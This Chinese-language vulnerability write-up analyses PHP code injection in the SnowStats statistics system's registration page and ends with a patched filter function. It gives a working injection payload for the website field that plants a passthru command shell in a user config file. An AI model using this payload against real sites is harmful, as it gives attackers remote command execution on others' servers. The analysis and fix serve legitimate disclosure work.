SnowStats多用户网站统计系统,用户非常多的,听说jnc站上说有漏洞的。他不放出来,那我就自己分析一下吧
入侵是从头开始的,我们就先看看register.php。
轻车熟路的先找找写入文件的部分,看到User Info 部分是这样写的
------------------- begin------------------------------
\$CONFIGUSER['username'] = '".$user."';// Username
\$CONFIGUSER['password'] = '".str_encrypt($_POST['password1'])."';// Password
\$CONFIGUSER['email'] = '".$_POST['email']."';// E-mail
\$CONFIGUSER['website'] = '".$website."';// Website name
\$CONFIGUSER['weburl'] = '".$weburl."';// Website url
\$CONFIGUSER['webintro'] = '".$webintro."';// Website intro
-------------------over------------------------------
觉得可能要出问题了查找website,发现是用str_encode函数过滤的
-
------------------ begin------------------------------
$website = str_encode($_POST['website']);
$weburl = str_encode($_POST['weburl']);
$webintro = str_encode($_POST['webintro']);
-------------------over------------------------------
跑到include文件夹下翻出function.php查找这个函数
------------------ begin------------------------------
// Encode a string
function str_encode($str)
{
if(get_magic_quotes_gpc()){
$str = stripslashes($str);
}
$str = htmlspecialchars($str);
$str = str_replace("\n","<br>",$str);
$str = str_replace(" "," ",$str);
$str = str_replace("\\","\",$str);
return $str;
-------------------over------------------------------
我汗了,竟然没有过滤单引号(')和注释号(//),问题出来了。
下面我们就以$website为例看看怎么利用
\$CONFIGUSER['website'] = '".$website."';// Website name
假如我们提交的$website可以闭合前面的单引号,注释掉后面的单引号,那中间的就随便我写代码了。比如我们注册个用户为mage,在这里提交$website的值为 mage';passthru($_GET['cmd']);//
这样就可以得到一个简单点的cmdshell了。因为是写到../userdata/mage/config.php里的,执行是没有问题的。Ok,we have got it!!
下面是修补方法,我把过滤函数重写了。
------------------ begin------------------------------
function str_encode($str)
{
if(get_magic_quotes_gpc()){$str = stripslashes($str);}
$str = htmlspecialchars($str);
$str = str_replace("\r\n","<br>",$str);
$str = str_replace("\r","<br>",$str);
$str = str_replace("\n","<br>",$str);
$str = str_replace(" "," ",$str);
$str = str_replace("'","'",$str);
$str = str_replace("\\","\",$str);
return $str;
}
-------------------over------------------------------